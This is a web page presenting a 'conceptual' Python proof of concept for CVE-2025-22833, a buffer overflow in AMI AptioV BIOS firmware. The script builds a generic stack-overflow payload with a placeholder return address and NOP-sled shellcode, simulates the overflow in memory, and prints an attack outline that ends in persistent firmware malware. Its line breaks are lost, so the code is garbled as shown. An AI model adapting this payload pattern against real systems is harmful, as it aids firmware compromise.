CVE-2025-22833 AMI APTIOV BIOS缓冲区溢出漏洞

# CVE-2025-22833 - AMI APTIOV BIOS Buffer Overflow PoC # This is a conceptual PoC demonstrating the buffer overflow vulnerability # in AMI APTIOV BIOS firmware (CWE-120: Buffer Copy without Checking Size of Input) # # Note: Actual exploitation requires local access and interaction with BIOS interfaces. # This PoC simulates the overflow mechanism at the application level for research purposes. import struct import sys # Target buffer size in the vulnerable BIOS function BUFFER_SIZE = 256 # Offset to overwrite the return address (typical stack layout) # In a real BIOS exploit, this would be the offset to the saved return address # or a function pointer in the SMM/UEFI environment RETURN_ADDRESS_OFFSET = 268 # Shellcode placeholder - in real exploit this would be Ring 0 payload # for BIOS environment (e.g., SMM code or UEFI runtime payload) SHELLCODE = b"\x90" * 32 # NOP sled placeholder SHELLCODE += b"\xCC" * 16 # INT3 breakpoints for debugging # Address to redirect execution (example: controlled memory region) # In BIOS context, this could point to attacker-controlled SMRAM or boot script REDIRECT_ADDRESS = 0xDEADBEEF def craft_malicious_input(): """Craft input that triggers the buffer overflow in BIOS function.""" payload = b"" # Fill the buffer with normal data payload += b"A" * BUFFER_SIZE # Overwrite saved EBP payload += b"B" * 4 # Overwrite return address with redirect address payload += struct.pack("<I", REDIRECT_ADDRESS) # Append shellcode after the return address overwrite payload += SHELLCODE return payload def trigger_vulnerability(input_data): """ Simulate the vulnerable BIOS function call. In real scenario, this would be a call to the BIOS UEFI/SMM interface. """ # Vulnerable buffer (simulating BIOS stack buffer) target_buffer = bytearray(BUFFER_SIZE) print(f"[*] Input data length: {len(input_data)} bytes") print(f"[*] Target buffer size: {BUFFER_SIZE} bytes") print(f"[*] Overflow size: {len(input_data) - BUFFER_SIZE} bytes") # This simulates the vulnerable memcpy without size check # In BIOS: call CopyMem(target_buffer, input_data, len(input_data)) if len(input_data) > BUFFER_SIZE: print("[!] BUFFER OVERFLOW DETECTED - Size check missing!") # Simulate the overflow for i, byte in enumerate(input_data): if i < len(target_buffer): target_buffer[i] = byte else: # Overflow writes beyond buffer boundary print(f"[+] Overwriting memory at offset {i}: 0x{byte:02x}") return target_buffer def main(): print("=" * 60) print("CVE-2025-22833 - AMI APTIOV BIOS Buffer Overflow PoC") print("CWE-120: Buffer Copy without Checking Size of Input") print("=" * 60) # Craft the malicious input payload = craft_malicious_input() # Trigger the vulnerability print("\n[*] Triggering vulnerability...") trigger_vulnerability(payload) print("\n[*] In a real attack scenario:") print(" 1. Attacker gains local access with low-privilege account") print(" 2. Interacts with BIOS UEFI/SMM interface") print(" 3. Sends crafted input to trigger buffer overflow") print(" 4. Achieves arbitrary code execution at Ring 0") print(" 5. Potentially installs persistent firmware-level malware") if __name__ == "__main__": main()